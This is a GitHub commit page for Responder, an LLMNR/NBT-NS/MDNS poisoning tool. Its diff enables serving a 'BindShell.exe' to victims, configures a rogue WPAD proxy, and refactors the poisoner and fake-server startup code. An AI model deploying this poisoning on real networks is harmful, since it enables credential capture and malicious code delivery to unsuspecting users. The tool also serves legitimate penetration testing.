Skip to content

Commit

Permalink
Many changes, bug fixes and improvements. scripts in 'tools' still ne…
Browse files Browse the repository at this point in the history
…ed to be fixed.
  • Loading branch information
jrmdev committed Jun 30, 2015
1 parent 050edc2 commit c6de2e9
Show file tree
Hide file tree
Showing 32 changed files with 1,343 additions and 458 deletions.
674 changes: 674 additions & 0 deletions LICENSE

Large diffs are not rendered by default.

27 changes: 18 additions & 9 deletions Responder.conf
Original file line number Diff line number Diff line change
Expand Up @@ -19,17 +19,23 @@ Challenge = 1122334455667788
; Default log file
SessionLog = logs/Responder-Session.log

; Poisoiners log
PoisonersLog = logs/Poisoners-Session.log

; Analyze mode log
AnalyzeLog = logs/Analyzer-Session.log

; Specific IP Addresses to respond to (default = All)
; Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
RespondTo =

; Specific NBT-NS/LLMNR names to respond to (default = All)
; Example: RespondTo = WPAD,DEV,PROD,SQLINT
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
RespondToName =

; Specific IP Addresses not to respond to (default = None)
; Example: DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
DontRespondTo = 192.168.56.1, 10.0.2.2
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
DontRespondTo = 192.168.183.1, 10.0.2.2, 127.0.0.0-254

; Specific NBT-NS/LLMNR names not to respond to (default = None)
; Example: DontRespondTo = NAC, IPS, IDS
Expand All @@ -38,17 +44,20 @@ DontRespondToName =

[HTTP Server]

; Set to On to always serve a specific file
; Set to On to always serve the custom .exe regardless of the URL
Serve-Always = Off

; Set to On to serve an executable file each time a .exe is detected in an URL
Serve-Exe = Off
; Set to On to serve the custom .exe when the URL contains .exe
Serve-Exe = On

; Set to on to serve the custom HTML if the URL does not contain .exe
Serve-Html = On

; Custom HTML to serve
HtmlFilename = Denied.html
HtmlFilename = files/AccedsDenied.html

; Custom EXE File to serve
ExeFilename = FixInternet.exe
ExeFilename = files/BindShell.exe

; Custom WPAD Script
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
Expand Down
125 changes: 34 additions & 91 deletions Responder.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
Expand All @@ -15,24 +14,21 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.

import sys
import optparse
import socket
import thread
import time
import logging
import settings

from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer
from utils import *

banner()

parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf', version=settings.__version__, prog=sys.argv[0])
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", dest="Responder_IP", metavar="10.20.30.40")
parser.add_option('-I','--interface', action="store", help="Network interface to use", dest="Interface", metavar="eth0", default="Not set")
parser.add_option('-I','--interface', action="store", help="Network interface to use", dest="Interface", metavar="eth0", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
Expand All @@ -41,79 +37,27 @@
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('-v', action="store_true", help="More verbose", dest="Verbose")
options, args = parser.parse_args()

if not os.geteuid() == 0:
print color("[!] Responder must be run as root.")
sys.exit(-1)

settings.init()
settings.Config.populate(options)

# Logger
logging.basicConfig(filename=settings.Config.Log1Filename,level=logging.INFO, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
StartMessage = 'Responder Started\nCommand line args:%s' % (settings.Config.CommandLine)
logging.warning(StartMessage)

logger2 = logging.getLogger('LLMNR/NBT-NS')
logger2.addHandler(logging.FileHandler(settings.Config.Log2Filename,'w'))

logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
logger3.addHandler(logging.FileHandler(settings.Config.AnalyzeFilename,'a'))

# Start up message
enabled = color('[ON]', 2, 1) + "\n"
disabled = color('[OFF]', 1, 1) + "\n"

Message = ""
Message += color("[*] ", 2, 1) + "Poisoners:\n"
Message += ' %-25s' % "LLMNR" + enabled
Message += ' %-25s' % "NBT-NS" + enabled
Message += ' %-25s' % "DNS/MDNS" + enabled + "\n"

Message += color("[*] ", 2, 1) + "Servers:\n"
Message += ' %-25s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
Message += ' %-25s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
Message += ' %-25s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
Message += ' %-25s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
Message += ' %-25s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
Message += ' %-25s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
Message += ' %-25s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
Message += ' %-25s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
Message += ' %-25s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
Message += ' %-25s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
Message += ' %-25s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
Message += ' %-25s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) + "\n"

Message += color("[*] ", 2, 1) + "HTTP Options:\n"
Message += ' %-25s' % "Serving executable" + (enabled if settings.Config.Exe_On_Off else disabled)
Message += ' %-25s' % "Serving specific file" + (enabled if settings.Config.Exec_Mode_On_Off else disabled)
Message += ' %-25s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) + "\n"
#Message += ' %-25s' % "WPAD script" + settings.Config.WPAD_Script + "\n\n"

Message += color("[*] ", 2, 1) + "Poisoning Options:\n"
Message += ' %-25s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
Message += ' %-25s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
Message += ' %-25s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
Message += ' %-25s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) +"\n"

Message += color("[*] ", 2, 1) + "Generic Options:\n"
Message += ' %-25s' % "Responder NIC" + color('[%s]' % settings.Config.BIND_TO_Interface, 3, 1) + "\n"
Message += ' %-25s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 3, 1) + "\n"
if settings.Config.Upstream_Proxy:
Message += ' %-25s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 3, 1) + "\n"
if len(settings.Config.DontRespondTo):
Message += ' %-25s' % "Don't Respond To" + color(settings.Config.DontRespondTo, 3, 1) + "\n"

print Message
StartupMessage()

settings.Config.ExpandIPRanges()

if settings.Config.AnalyzeMode:
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)

print color('[*]', 2, 1) + " Listening for events..."

class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.BIND_TO_Interface+'\0')
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
UDPServer.server_bind(self)
Expand All @@ -122,7 +66,7 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.BIND_TO_Interface+'\0')
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
Expand All @@ -138,7 +82,7 @@ def server_bind(self):

if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.BIND_TO_Interface+'\0')
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
UDPServer.server_bind(self)
Expand All @@ -154,7 +98,7 @@ def server_bind(self):

if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.BIND_TO_Interface+'\0')
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
UDPServer.server_bind(self)
Expand All @@ -164,13 +108,12 @@ def server_bind(self):
ThreadingUDPMDNSServer.allow_reuse_address = 1
ThreadingUDPLLMNRServer.allow_reuse_address = 1

# Poisoners have to listen on 0.0.0.0 to receive broadcast traffic
def serve_thread_udp_broadcast(host, port, handler):
try:
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print color("[*] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."

def serve_NBTNS_poisoner(host, port, handler):
serve_thread_udp_broadcast(host, port, handler)
Expand All @@ -180,52 +123,49 @@ def serve_MDNS_poisoner(host, port, handler):
server = ThreadingUDPMDNSServer((host, port), handler)
server.serve_forever()
except:
print color("[*] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."

def serve_LLMNR_poisoner(host, port, handler):
try:
#try:
server = ThreadingUDPLLMNRServer((host, port), handler)
server.serve_forever()
except:
print color("[*] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
#except:
# print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."

def serve_thread_udp(host, port, handler):
try:
if OsInterfaceIsSupported():
IP = FindLocalIP(settings.Config.BIND_TO_Interface)
server = ThreadingUDPServer((IP, port), handler)
server = ThreadingUDPServer((settings.Config.Bind_To, port), handler)
server.serve_forever()
else:
server = ThreadingUDPServer((host, port), handler)
server.serve_forever()
except:
print color("[*] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."

def serve_thread_tcp(host, port, handler):
try:
if OsInterfaceIsSupported():
IP = FindLocalIP(settings.Config.BIND_TO_Interface)
server = ThreadingTCPServer((IP, port), handler)
server = ThreadingTCPServer((settings.Config.Bind_To, port), handler)
server.serve_forever()
else:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except:
print color("[*] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."

def serve_thread_SSL(host, port, handler):
#try:
try:
from servers.HTTP import SSLSock

if OsInterfaceIsSupported():
IP = FindLocalIP(settings.Config.BIND_TO_Interface)
server = SSLSock((IP, port), handler)
server = SSLSock((settings.Config.Bind_To, port), handler)
server.serve_forever()
else:
server = SSLSock((host, port), handler)
server.serve_forever()
#except:
print color("[*] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running."
except:
print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running."

def main():
try:
Expand Down Expand Up @@ -286,7 +226,7 @@ def main():

if settings.Config.SMTP_On_Off:
from servers.SMTP import ESMTP
thread.start_new(serve_thread_tcp,('', 25, ESMTP))
thread.start_new(serve_thread_tcp,('', 25, ESMTP))
thread.start_new(serve_thread_tcp,('', 587, ESMTP))

if settings.Config.IMAP_On_Off:
Expand All @@ -298,11 +238,14 @@ def main():
thread.start_new(serve_thread_udp,('', 53, DNS))
thread.start_new(serve_thread_tcp,('', 53, DNSTCP))


print color('[+]', 2, 1) + " Listening for events..."

while True:
time.sleep(1)

except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
sys.exit("\r%s Exiting..." % color('[+]', 2, 1))

if __name__ == '__main__':
main()
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
2 changes: 1 addition & 1 deletion Fingerprint.py → fingerprint.py
Original file line number Diff line number Diff line change
Expand Up @@ -65,5 +65,5 @@ def RunSmbFinger(host):
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)
except:
print color("[*] ", 1, 1) +" Fingerprint failed"
print color("[!] ", 1, 1) +" Fingerprint failed"
return None
43 changes: 18 additions & 25 deletions packets.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,19 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings

Expand Down Expand Up @@ -258,7 +274,7 @@ class WPADScript(Packet):
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))

class ServerExeFile(Packet):
class ServeExeFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: application/octet-stream\r\n"),
Expand All @@ -278,30 +294,7 @@ class ServerExeFile(Packet):
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))

class ServeAlwaysExeFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: application/octet-stream\r\n"),
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentDisp", "Content-Disposition: attachment; filename="),
("ContentDiFile", ""),
("FileCRLF", ";\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"),
("X-CID", "2\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))

class ServeAlwaysNormalFile(Packet):
class ServeHtmlFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: text/html\r\n"),
Expand Down
Loading

0 comments on commit c6de2e9

Please sign in to comment.